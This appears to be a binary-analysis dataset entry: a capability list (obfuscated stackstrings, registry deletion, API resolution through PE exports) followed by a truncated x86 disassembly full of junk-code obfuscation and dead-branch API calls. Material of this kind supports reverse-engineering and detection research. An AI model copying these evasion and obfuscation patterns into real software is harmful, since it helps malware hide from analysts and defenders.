Function at 0x1003e086
Capabilities:
Accept command line arguments
Check os version
Contain obfuscated stackstrings
Create directory
Delete directory
Delete registry key
Delete registry value
Get disk size
Get graphical window text
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10066031
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x211b8
call fcn.100613f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xb48], 0xf0f592b0
mov dword [ebp - 0x1004], 0xfffffffd
mov dword [ebp - 0x398], 0xa577dc96
mov dword [ebp - 0x4b0], 0
mov dword [ebp - 0x3f0], 0xffffffff
mov dword [ebp - 0x948], 0x94cf7123
mov dword [ebp - 0xb58], 0
mov dword [ebp - 0x204], 0
jmp 0x1003e115
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 1
jge 0x1003e12e
mov eax, dword [ebp - 0x204]
mov dword [ebp + eax*4 - 0x28], 0xd5f8d9a2
jmp 0x1003e108
mov eax, 0x3d1f30a9
test eax, eax
je 0x1003e253
mov dword [ebp - 0xf4], 0xffffffff
mov dword [ebp - 0xa5c], 0x9cd329b3
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf00], eax
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x14]
jg 0x1003e172
mov dword [ebp - 0x4c8], 1
jmp 0x1003e179
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x4c8]
je 0x1003e193
mov dword [ebp - 0x958], 1
jmp 0x1003e19a
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x958]
je 0x1003e1b4
mov dword [ebp - 0x97c], 1
jmp 0x1003e1bb
and dword [ebp - 0x97c], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x97c], eax
jle 0x1003e1d5
mov dword [ebp - 0x984], 1
jmp 0x1003e1dc
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x984], eax
je 0x1003e1f6
mov dword [ebp - 0x98c], 1
jmp 0x1003e1fd
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x98c], eax
jge 0x1003e214
mov dword [ebp - 0x994], 1
jmp 0x1003e21b
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x994], eax
je 0x1003e23b
cmp dword [ebp - 0x14], 0
je 0x1003e23b
mov dword [ebp - 0x99c], 1
jmp 0x1003e242
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x99c]
mov dword [ebp - 0xa5c], eax
jmp 0x1003e5ce
mov dword [ebp - 0x3f4], 0xfffffffc
mov dword [ebp - 0x340], 0
jmp 0x1003e276
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 1
jge 0x1003e292
mov eax, dword [ebp - 0x340]
mov dword [ebp + eax*4 - 0x390], 0xd4d14b71
jmp 0x1003e269
mov dword [ebp - 0x14], 0
jmp 0x1003e2a2
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x1003e5ce
push 3
lea ecx, [ebp - 0xe14]
call fcn.10009c88
and dword [ebp - 4], 0
push 2
lea ecx, [ebp - 0xc8c]
call fcn.10009c88
mov byte [ebp - 4], 1
mov dword [ebp - 0x94], 0
jmp 0x1003e2e7
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x1003e309
push dword [ebp - 0x94]
lea ecx, [ebp - 0xe14]
call fcn.10009d00
mov dword [eax], 0xdaf0db12
jmp 0x1003e2da
mov dword [ebp - 0x94], 0
jmp 0x1003e322
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x1003e344
push dword [ebp - 0x94]
lea ecx, [ebp - 0xc8c]
call fcn.10009d00
mov dword [eax], 0xc17f7268
jmp 0x1003e315
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0xfd0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0
je 0x1003e374
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x28], 0
je 0x1003e374
mov dword [ebp - 0x9a4], 1
jmp 0x1003e37b
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0x9a4], eax
je 0x1003e396
mov dword [ebp - 0xa9c], 1
jmp 0x1003e39d
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0xf08], eax
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x102c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp dword [ebp + ecx*4 - 0x28], eax
je 0x1003e3d4
mov dword [ebp - 0x9ac], 1
jmp 0x1003e3db
and dword [ebp - 0x9ac], 0
mov eax, dword [ebp - 0x9ac]
add eax, 0xa7f
cmp eax, dword [ebp - 0x3f4]
jg 0x1003e3fa
mov dword [ebp - 0xaa4], 1
jmp 0x1003e401
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0xf10], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x390], 6
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x28], 6
jge 0x1003e437
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x28], 0
je 0x1003e57f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x390], 0xffffffff
je 0x1003e453
mov dword [ebp - 0x9b4], 1
jmp 0x1003e45a
and dword [ebp - 0x9b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x9b4], eax
jge 0x1003e478
mov dword [ebp - 0x9bc], 1
jmp 0x1003e47f
and dword [ebp - 0x9bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
imul eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x9f8], eax
push 1
lea ecx, [ebp - 0xe14]
call fcn.10009d00
mov ecx, dword [ebp - 0x9f8]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp eax, dword [ebp - 0x9f8]
jle 0x1003e4c9
mov dword [ebp - 0x3fc], 1
jmp 0x1003e4d0
and dword [ebp - 0x3fc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp + eax - 0x390], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0x3fc], eax
je 0x1003e4fe
mov dword [ebp - 0x9f4], 1
jmp 0x1003e505
and dword [ebp - 0x9f4], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
cmp eax, dword [ebp - 0x9f4]
jne 0x1003e520
mov dword [ebp - 0x9e0], 1
jmp 0x1003e527
and dword [ebp - 0x9e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp eax, dword [ebp - 0x9e0]
jne 0x1003e545
mov dword [ebp - 0x764], 1
jmp 0x1003e54c
and dword [ebp - 0x764], 0
cmp dword [ebp - 0x764], 1
jb 0x1003e561
mov dword [ebp - 0x930], 1
jmp 0x1003e568
and dword [ebp - 0x930], 0
push 0
lea ecx, [ebp - 0xc8c]
call fcn.10009d00
mov ecx, dword [ebp - 0x930]
mov dword [eax], ecx
jmp 0x1003e5ab
mov byte [ebp - 0x11f], 0
movzx eax, byte [ebp - 0x11f]
test eax, eax
je 0x1003e599
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov esi, dword [ebp - 0x14]
push 0
lea ecx, [ebp - 0xc8c]
call fcn.10009d00
mov dword [eax], esi
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc8c]
call fcn.10009ce4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe14]
call fcn.10009ce4
jmp 0x1003e29b
mov dword [ebp - 0x398], 1
cmp dword [ebp - 0x398], 0xfffc
ja 0x1003e5f0
mov dword [ebp - 0x4a8], 1
jmp 0x1003e5f7
and dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 0x6159332c
jle 0x1003e618
mov eax, 0xb122
test eax, eax
je 0x1003e618
mov dword [ebp - 0x938], 1
jmp 0x1003e61f
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
imul eax, dword [ebp - 0x14]
test eax, eax
jne 0x1003e64b
cmp dword [ebp - 0xb48], 0
jne 0x1003e64b
and dword [ebp - 0xb50], 0
jmp 0x1003e655
mov dword [ebp - 0xb50], 1
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0xf20], eax
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0xf18], eax
cmp dword [ebp - 0x3f0], 0xffffffff
jg 0x1003e682
mov dword [ebp - 0x940], 1
jmp 0x1003e689
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x3f0]
cmp dword [ebp - 0x940], eax
jg 0x1003e6a3
mov dword [ebp - 0x4b8], 1
jmp 0x1003e6aa
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x948], eax
cmp dword [ebp - 0x948], 0xf49da2b6
jne 0x1003e6ce
mov dword [ebp - 0x950], 1
jmp 0x1003e6d5
and dword [ebp - 0x950], 0
cmp dword [ebp - 0x950], 0xf2e326e2
jae 0x1003e6ed
mov dword [ebp - 0x4c4], 1
jmp 0x1003e6f4
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0x14]
jg 0x1003e70f
mov dword [ebp - 0x96c], 1
jmp 0x1003e716
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x96c]
mov dword [ebp - 0xb58], eax
cmp dword [ebp + 0x10], 0
jbe 0x1003e809
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1003e809
push 2
lea ecx, [ebp - 0xdb4]
call fcn.10009c88
mov dword [ebp - 4], 2
mov dword [ebp - 0x210], 0
jmp 0x1003e765
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x1003e787
push dword [ebp - 0x210]
lea ecx, [ebp - 0xdb4]
call fcn.10009d00
mov dword [eax], 0xd41e
jmp 0x1003e758
mov byte [ebp - 0x129], 0
movzx eax, byte [ebp - 0x129]
test eax, eax
je 0x1003e79f
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 1
lea ecx, [ebp - 0xdb4]
call fcn.10009d00
cmp dword [eax], 0
je 0x1003e7ca
mov dword [ebp - 0x4cc], 0x70a
mov eax, dword [ebp - 0x4cc]
dec eax
mov dword [ebp - 0x4cc], eax
jmp 0x1003e7e6
mov byte [ebp - 0x147], 0
movzx eax, byte [ebp - 0x147]
test eax, eax
je 0x1003e7e6
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdb4]
call fcn.10009ce4
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1003a12a
pop ecx
pop ecx
jmp 0x1004650b
push 1
lea ecx, [ebp - 0x418]
call fcn.10009c88
mov dword [ebp - 4], 3
mov dword [ebp - 0x2c0], 3
mov dword [ebp - 0x218], 0x42e4
mov dword [ebp - 0xb68], 0xfffa
mov dword [ebp - 0x4dc], 5
mov dword [ebp - 0xb70], 0x8df0442e
mov dword [ebp - 0x1f8], 0
jmp 0x1003e868
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 1
jge 0x1003e88a
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x418]
call fcn.10009d00
mov dword [eax], 0xd3b3152c
jmp 0x1003e85b
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
cmp dword [eax], 0
je 0x1003e996
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
mov eax, dword [eax]
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0xf2c], eax
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
mov esi, dword [ebp - 0x2c0]
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
cmp dword [eax], esi
jge 0x1003e8f1
mov dword [ebp - 0x76c], 1
jmp 0x1003e8f8
and dword [ebp - 0x76c], 0
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
mov ecx, dword [ebp - 0x76c]
sub ecx, dword [eax]
add ecx, 0x64a9
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x1024], eax
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0xf34], eax
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0xfe0], eax
mov esi, dword [ebp - 0x218]
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
cmp esi, dword [eax]
jl 0x1003e96d
mov dword [ebp - 0xb60], 1
jmp 0x1003e974
and dword [ebp - 0xb60], 0
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
cmp dword [ebp - 0xb68], 0
je 0x1003e996
mov dword [ebp - 0x4d4], 1
jmp 0x1003e99d
and dword [ebp - 0x4d4], 0
cmp dword [ebp - 0x4d4], 0xffffffff
jg 0x1003e9b2
mov dword [ebp - 0x8bc], 1
jmp 0x1003e9b9
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x8bc]
sub eax, 0x2ccd
mov dword [ebp - 0x4dc], eax
mov esi, dword [ebp - 0x4dc]
push 0
lea ecx, [ebp - 0x418]
call fcn.10009d00
cmp esi, dword [eax]
jle 0x1003e9ed
mov dword [ebp - 0x774], 1
jmp 0x1003e9f4
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0xb70], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x418]
call fcn.10009ce4
mov dword [ebp - 0x220], 0x8d4081c2
mov dword [ebp - 0x318], 0
jmp 0x1003ea32
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 2
jge 0x1003ea4e
mov eax, dword [ebp - 0x318]
mov dword [ebp + eax*4 - 0x10cc], 0x713b
jmp 0x1003ea25
mov dword [ebp - 0x220], 0
jmp 0x1003ea67
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jg 0x1003eb03
mov dword [ebp - 0x2c8], 0xffffffff
mov byte [ebp - 0x12b], 0
movzx eax, byte [ebp - 0x12b]
test eax, eax
je 0x1003eaa4
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c8], 0
jmp 0x1003eabd
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 1
jg 0x1003eafe
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x1003eae2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov byte [ebp - 0x11e], 0
movzx eax, byte [ebp - 0x11e]
test eax, eax
je 0x1003eafc
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1003eab0
jmp 0x1003ea5a
cmp dword [ebp + 0x10], 0
jne 0x10042a29
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10031f41
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x358], 0xd29be1d9
mov dword [ebp - 0x228], 0
jmp 0x1003eb41
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 3
jge 0x1003eb5d
mov eax, dword [ebp - 0x228]
mov dword [ebp + eax*4 - 0x11b0], 0x648261f9
jmp 0x1003eb34
mov byte [ebp - 0x120], 0
movzx eax, byte [ebp - 0x120]
test eax, eax
je 0x1003eb79
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 0x358], 2
jmp 0x1003eb92
mov eax, dword [ebp - 0x358]
dec eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0
jl 0x1003ebbc
mov byte [ebp - 0x122], 0
movzx eax, byte [ebp - 0x122]
test eax, eax
je 0x1003ebba
push 0
push 0x2302
call dword [sym.imp.GDI32.dll_SetBkColor]
jmp 0x1003eb85
push 3
lea ecx, [ebp - 0x470]
call fcn.10009c88
mov dword [ebp - 4], 4
mov dword [ebp - 0x77c], 0xffffffff
mov dword [ebp - 0xb80], 0xd3d47825
mov dword [ebp - 0x230], 0
jmp 0x1003ebfd
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 3
jge 0x1003ec1f
push dword [ebp - 0x230]
lea ecx, [ebp - 0x470]
call fcn.10009d00
mov dword [eax], 0xd16df251
jmp 0x1003ebf0
cmp dword [ebp - 0x77c], 0xfffd
jae 0x1003ec37
mov dword [ebp - 0x4e4], 1
jmp 0x1003ec3e
and dword [ebp - 0x4e4], 0
push 1
lea ecx, [ebp - 0x470]
call fcn.10009d00
xor ecx, ecx
sub ecx, dword [eax]
cmp dword [ebp - 0x4e4], ecx
jle 0x1003ec63
mov dword [ebp - 0x974], 1
jmp 0x1003ec6a
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x974]
neg eax
test eax, eax
jle 0x1003ec82
mov dword [ebp - 0x4ec], 1
jmp 0x1003ec89
and dword [ebp - 0x4ec], 0
imul esi, dword [ebp - 0x4ec], 0x4198
push 1
lea ecx, [ebp - 0x470]
call fcn.10009d00
cmp esi, dword [eax]
jge 0x1003ecb9
mov eax, 0x3f9150fa
test eax, eax
je 0x1003ecb9
mov dword [ebp - 0x4f4], 1
jmp 0x1003ecc0
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x77c]
cmp dword [ebp - 0x4f4], eax
je 0x1003ece3
mov eax, 0x9740826f
test eax, eax
je 0x1003ece3
mov dword [ebp - 0x8c4], 1
jmp 0x1003ecea
and dword [ebp - 0x8c4], 0
push 1
lea ecx, [ebp - 0x470]
call fcn.10009d00
cmp dword [eax], 0
ja 0x1003ed08
mov dword [ebp - 0x4fc], 1
jmp 0x1003ed0f
and dword [ebp - 0x4fc], 0
push 1
lea ecx, [ebp - 0x470]
call fcn.10009d00
mov ecx, dword [ebp - 0x4fc]
cmp ecx, dword [eax]
je 0x1003ed32
mov dword [ebp - 0xb78], 1
jmp 0x1003ed39
and dword [ebp - 0xb78], 0
push 0
lea ecx, [ebp - 0x470]
call fcn.10009d00
push 1
lea ecx, [ebp - 0x470]
call fcn.10009d00
imul eax, dword [eax], 0xedd1
mov dword [ebp - 0xb80], eax
push 0
lea ecx, [ebp - 0x470]
call fcn.10009d00
cmp dword [eax], 0
je 0x1003ed8b
mov byte [ebp - 0x124], 0
movzx eax, byte [ebp - 0x124]
test eax, eax
je 0x1003ed89
call dword [sym.imp.USER32.dll_WaitMessage]
jmp 0x1003edf6
push 3
lea ecx, [ebp - 0xe50]
call fcn.10009c88
mov byte [ebp - 4], 5
mov dword [ebp - 0x2d0], 0
jmp 0x1003edb5
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 3
jge 0x1003edd7
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0xe50]
call fcn.10009d00
mov dword [eax], 0xba00b6fb
jmp 0x1003eda8
push 2
lea ecx, [ebp - 0xe50]
call fcn.10009d00
or dword [eax], 0xffffffff
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xe50]
call fcn.10009ce4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x470]
call fcn.10009ce4
push 3
lea ecx, [ebp - 0xbd8]
call fcn.10009c88
mov dword [ebp - 4], 6
mov dword [ebp - 0x238], 0
jmp 0x1003ee32
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 3
jge 0x1003ee54
push dword [ebp - 0x238]
lea ecx, [ebp - 0xbd8]
call fcn.10009d00
mov dword [eax], 0xb110c93b
jmp 0x1003ee25
push 1
lea ecx, [ebp - 0xbd8]
call fcn.10009d00
and dword [eax], 0
jmp 0x1003ee8a
push 1
lea ecx, [ebp - 0xbd8]
call fcn.10009d00
mov dword [ebp - 0x784], eax
mov eax, dword [ebp - 0x784]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x784]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xbd8]
call fcn.10009d00
cmp dword [eax], 0x14
jl 0x1003eec0
mov byte [ebp - 0x126], 0
movzx eax, byte [ebp - 0x126]
test eax, eax
je 0x1003eebe
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x1003ee66
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbd8]
call fcn.10009ce4
cmp dword [0x1060e07c], 0
jne 0x1004281c
mov dword [ebp - 0x320], 0xffffffff
mov dword [ebp - 0x504], 0xbab59342
mov dword [ebp - 0x320], 0x11
jmp 0x1003ef09
mov eax, dword [ebp - 0x320]
dec eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0xfffffffb
jg 0x1003ef9a
mov dword [ebp - 0xf3c], 0
mov dword [ebp - 0x1050], 0xe6e83846
push 2
lea ecx, [ebp - 0xf90]
call fcn.10009c88
mov dword [ebp - 4], 7
mov dword [ebp - 0x240], 0
jmp 0x1003ef57
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jge 0x1003ef79
push dword [ebp - 0x240]
lea ecx, [ebp - 0xf90]
call fcn.10009d00
mov dword [eax], 0x7be7e550
jmp 0x1003ef4a
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf90]
call fcn.10009ce4
jmp 0x1003eefc
mov dword [ebp - 0xb88], 0x529
lea eax, [ebp - 0xb88]
push eax
call fcn.1003a0f6
pop ecx
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x14c], 0x69fdf99f
mov dword [ebp - 0xd94], 6
mov dword [ebp - 0xd90], 6
mov dword [ebp - 0xd8c], 6
mov dword [ebp - 0xd88], 6
lea ecx, [ebp - 0x40a]
call fcn.10009e64
push eax
lea eax, [ebp - 0xd84]
push eax
lea eax, [ebp - 0xd94]
push eax
lea ecx, [ebp - 0x110c]
call fcn.10014809
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa30]
call fcn.100147e3
mov dword [ebp - 4], 8
mov dword [ebp - 0x968], 0x1362
mov dword [ebp - 0xf44], 0xffffffff
mov dword [ebp - 0x14c], 0
jmp 0x1003f052
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x10
jle 0x1003f232
mov dword [ebp - 0x498], 0x5cbd9454
mov dword [ebp - 0x494], 0x5cbd9454
mov dword [ebp - 0x490], 0x5cbd9454
mov dword [ebp - 0x48c], 0x5cbd9454
mov dword [ebp - 0x2d8], 2
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x498], 0
jmp 0x1003f0bf
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x498]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x498], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x498], 3
jg 0x1003f107
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x498]
lea ecx, [ebp - 0xa30]
call fcn.10009d00
mov esi, eax
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x498]
lea ecx, [ebp - 0xa30]
call fcn.10009d00
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1003f0a4
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0xfe8], eax
mov eax, dword [ebp - 0x968]
mov dword [ebp - 0xf4c], eax
mov esi, dword [ebp - 0x14c]
mov edi, dword [ebp - 0x968]
push 0
lea ecx, [ebp - 0xa30]
call fcn.10009d00
sub edi, dword [eax]
cmp edi, esi
jle 0x1003f14a
mov dword [ebp - 0x50c], 1
jmp 0x1003f151
and dword [ebp - 0x50c], 0
imul eax, dword [ebp - 0x14c], 0xfffffffe
cmp eax, dword [ebp - 0x50c]
jg 0x1003f16c
mov dword [ebp - 0xb90], 1
jmp 0x1003f173
and dword [ebp - 0xb90], 0
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x1030], eax
push 1
lea ecx, [ebp - 0xa30]
call fcn.10009d00
cmp dword [ebp - 0x2d8], 0
je 0x1003f1b5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x498], 0
je 0x1003f1b5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x498], 0
jne 0x1003f1c7
cmp dword [ebp - 0x2d8], 0
jne 0x1003f1c7
and dword [ebp - 0x78c], 0
jmp 0x1003f1d1
mov dword [ebp - 0x78c], 1
push 1
lea ecx, [ebp - 0xa30]
call fcn.10009d00
mov ecx, dword [ebp - 0x78c]
cmp ecx, dword [eax]
jl 0x1003f1f4
mov dword [ebp - 0x514], 1
jmp 0x1003f1fb
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0x142b622b
jg 0x1003f213
mov dword [ebp - 0x8cc], 1
jmp 0x1003f21a
and dword [ebp - 0x8cc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp + eax - 0x498], ecx
jmp 0x1003f045
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa30]
call fcn.10009ce4
mov dword [ebp - 0x248], 0x2e91a049
mov dword [ebp - 0x248], 4
jmp 0x1003f264
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x15
jle 0x1003f2e6
mov dword [ebp - 0x1ac], 0x14768c0a
mov dword [ebp - 0x348], 0
jmp 0x1003f290
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 1
jge 0x1003f2ac
mov eax, dword [ebp - 0x348]
mov dword [ebp + eax*4 - 0xb98], 2
jmp 0x1003f283
mov dword [ebp - 0x1ac], 0
jmp 0x1003f2c5
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 1
jge 0x1003f2e1
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0xb98], 0x9ed080c1
jmp 0x1003f2b8
jmp 0x1003f257
mov dword [ebp - 0x250], 0x2e91a049
mov dword [ebp - 0x2e8], 0x8764
mov dword [ebp - 0x268], 0xeac691c6
mov dword [ebp - 0x19c], 0x62da72df
mov byte [ebp - 0xea], 0
movzx eax, byte [ebp - 0xea]
test eax, eax
je 0x1003f32a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov dword [ebp - 0x250], 0xffffffe8
jmp 0x1003f343
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0xffffffed
jle 0x1003fa74
push 1
lea ecx, [ebp - 0xa04]
call fcn.10009c88
mov dword [ebp - 4], 9
mov dword [ebp - 0x1b8], 0xfffffffa
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x328], 0x4309e953
mov dword [ebp - 0x2e0], 0
jmp 0x1003f39b
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 1
jge 0x1003f3bd
push dword [ebp - 0x2e0]
lea ecx, [ebp - 0xa04]
call fcn.10009d00
mov dword [eax], 0x4f84
jmp 0x1003f38e
mov dword [ebp - 0x1b8], 0
jmp 0x1003f3d6
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0
jg 0x1003fa60
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x430], 0x6f8a3e09
mov dword [ebp - 0x3f8], 0xac6aa04d
mov dword [ebp - 0x38], 0
jmp 0x1003f40e
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x1003fa2b
mov dword [ebp - 0xcc], 0x28d5feaf
mov dword [ebp - 0x564], 0xfffffffc
mov dword [ebp - 0x3a8], 0x8915ced7
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x2e8]
jl 0x1003f44d
mov dword [ebp - 0x51c], 1
